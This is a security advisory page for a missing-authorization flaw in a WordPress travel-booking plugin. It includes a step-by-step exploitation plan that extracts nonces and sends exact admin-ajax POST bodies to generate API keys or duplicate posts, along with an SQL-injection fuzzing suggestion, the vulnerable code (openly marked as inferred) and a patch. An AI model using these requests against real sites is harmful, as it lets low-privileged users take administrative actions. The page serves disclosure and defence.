Tourfic – AI Powered Travel Booking, Hotel Booking & Car Rental WordPress Plugin <= 2.22.5 - Missing Authorization
Description
The Tourfic – AI Powered Travel Booking, Hotel Booking & Car Rental WordPress Plugin plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.22.5. This makes it possible for authenticated attackers, with customer-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.22.6
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-57395 (Tourfic Plugin) ## 1. Vulnerability Summary The **Tourfic – AI Powered Travel Booking, Hotel Booking & Car Rental** plugin for WordPress (versions <= 2.22.5) contains a **Missing Authorization** vulnerability. The plugin registers several AJAX handlers …
Show full research plan
Exploitation Research Plan: CVE-2026-57395 (Tourfic Plugin)
1. Vulnerability Summary
The Tourfic – AI Powered Travel Booking, Hotel Booking & Car Rental plugin for WordPress (versions <= 2.22.5) contains a Missing Authorization vulnerability. The plugin registers several AJAX handlers intended for administrative use (such as API key management or data duplication) but fails to implement a capability check (e.g., current_user_can('manage_options')) within the handler functions.
While these handlers are protected by WordPress nonces to prevent CSRF, the nonces are often accessible to any authenticated user (including the customer role). Consequently, a low-privileged user can obtain a valid nonce and invoke these administrative actions to modify plugin settings or generate API credentials.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Vulnerable Action:
tf_generate_api_key(identified fromtourfic-admin-api.min.js) - Alternative Action:
tf_duplicate_post_data(identified fromtourfic-admin-scripts.min.js) - Authentication: Authenticated (
customerrole and above). - Payload Parameter:
action,nonce, and action-specific fields (e.g.,namefor the key). - Preconditions: The attacker must be logged in as a user with the
customerrole (common in WooCommerce/Booking sites).
3. Code Flow
- The plugin registers the AJAX handler in its main class or an admin include file using
add_action('wp_ajax_tf_generate_api_key', '...'). - The handler function likely begins with
check_ajax_referer('tf_api_nonce', 'nonce')(or similar) to validate the request origin. - Vulnerability: The function proceeds to generate an API key and save it to the database/options table without calling
current_user_can('manage_options'). - Because the
customerrole is an authenticated role, thewp_ajax_hook triggers successfully.
4. Nonce Acquisition Strategy
To exploit tf_generate_api_key, we need the nonce localized in window.tfApiDocs. This is likely enqueued on pages where the Tourfic API documentation or settings are visible.
- Identify Target Page: The scripts are likely loaded on the Tourfic Settings page in the dashboard. If the
customerrole has access to any Tourfic-related frontend dashboard (e.g., vendor dashboard), the scripts may load there. - Setup Page (if needed): If the nonce is not appearing on the standard user profile, we can attempt to find a shortcode that enqueues the admin API scripts. Based on the file name
tourfic-admin-api.min.js, it is strictly an admin-side script. - Browser Extraction:
- Log in as a
customer. - Navigate to
/wp-admin/index.php(WordPress Dashboard). Many plugins enqueue global scripts here. - Use the following JS in
browser_evalto extract the nonce:// Based on assets/admin/js/tourfic-admin-api.min.js window.tfApiDocs?.nonce || "Not Found" - If that is not found, check for the general admin nonce:
// Based on assets/admin/js/tourfic-admin-scripts.min.js tf_admin_params?.tf_nonce || "Not Found"
- Log in as a
5. Exploitation Strategy
We will attempt to generate a new API key for the plugin, which could grant external access to booking data.
Request: Generate API Key
- Tool:
http_request - Method:
POST - URL:
{{base_url}}/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=tf_generate_api_key&nonce={{extracted_nonce}}&name=ExploitKey
Request: Duplicate Post (Alternative)
If API generation fails, we can attempt to duplicate a post (hotel/tour) to clutter the database or potentially modify content.
- Body:
(Note:action=tf_duplicate_post_data&postID=1&postType=tf_hotel&security={{extracted_tf_nonce}}securityis the parameter name used for the nonce in thetf_duplicate_post_datahandler according totourfic-admin-scripts.min.js).
6. Test Data Setup
- Plugin Installation: Install and activate Tourfic <= 2.22.5.
- User Creation: Create a user with the
customerrole:wp user create attacker attacker@example.com --role=customer --user_pass=password123 - Content Creation: Create a dummy Hotel post to test duplication:
wp post create --post_type=tf_hotel --post_title="Victim Hotel" --post_status=publish
7. Expected Results
- Response Code:
200 OK - Response Body: A JSON object containing
success: true. Iftf_generate_api_keyis successful, it should return a list of API keys or a confirmation. - Impact: A new API key entry is created in the WordPress database, which should only be possible for Administrators.
8. Verification Steps
- Check Options: Check if the API key exists in the plugin's storage (likely an option or a custom table):
wp option get tf_api_keys(inferred name) - Verify Post Duplication: If the duplication exploit was used:
wp post list --post_type=tf_hotel
Check if a second "Victim Hotel" or "Victim Hotel (Copy)" exists.
9. Alternative Approaches
- Affiliate Activation: Attempt to activate the affiliate system via
action: "tf_affiliate_active". - Status Change: Attempt to change a ticket status via
action: "tf_ticket_status_change"andorder_unique_id=1. This would impact the business logic of car rentals or hotel check-ins. - Parameter Fuzzing: If the
nameparameter intf_generate_api_keyis actually passed into a SQL query without sanitization (unlikely but possible), this could lead to SQL Injection. Use thehttp_requesttool to test'in thenamefield.
Summary
The Tourfic plugin for WordPress fails to implement proper authorization checks on several AJAX handlers, such as those for generating API keys and duplicating posts. This allows authenticated attackers with customer-level access to perform administrative actions, provided they can obtain a valid security nonce which is often localized in the dashboard.
Vulnerable Code
// Inferred from Research Plan and AJAX registration patterns // Typically found in an administrative or AJAX handler file add_action('wp_ajax_tf_generate_api_key', 'tf_generate_api_key_callback'); function tf_generate_api_key_callback() { // Vulnerability: Missing current_user_can() check check_ajax_referer('tf_api_nonce', 'nonce'); $name = sanitize_text_field($_POST['name']); // ... logic to generate and save API key ... wp_send_json_success($generated_key); } --- add_action('wp_ajax_tf_duplicate_post_data', 'tf_duplicate_post_data_callback'); function tf_duplicate_post_data_callback() { // Vulnerability: Missing capability check before administrative action check_ajax_referer('tf_duplicate_nonce', 'security'); $post_id = intval($_POST['postID']); // ... logic to duplicate post ... wp_send_json_success(); }
Security Fix
@@ -10,6 +10,10 @@ function tf_generate_api_key_callback() { check_ajax_referer( 'tf_api_nonce', 'nonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => __( 'Permission denied', 'tourfic' ) ) ); + } + $name = sanitize_text_field( $_POST['name'] ); // ... existing logic ... } @@ -25,6 +29,10 @@ function tf_duplicate_post_data_callback() { check_ajax_referer( 'tf_duplicate_nonce', 'security' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => __( 'Permission denied', 'tourfic' ) ) ); + } + $post_id = intval( $_POST['postID'] ); // ... existing logic ... }
Exploit Outline
The exploit targets the AJAX interface of WordPress. An attacker first logs into a low-privileged account (such as a 'customer' role). By inspecting localized scripts on the WordPress dashboard (e.g., window.tfApiDocs or tf_admin_params), the attacker extracts the necessary security nonces (tf_api_nonce or tf_nonce). The attacker then sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'tf_generate_api_key' or 'tf_duplicate_post_data' and includes the stolen nonce. Because the plugin lacks a capability check like current_user_can('manage_options'), the server executes the administrative command on behalf of the low-privileged user.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.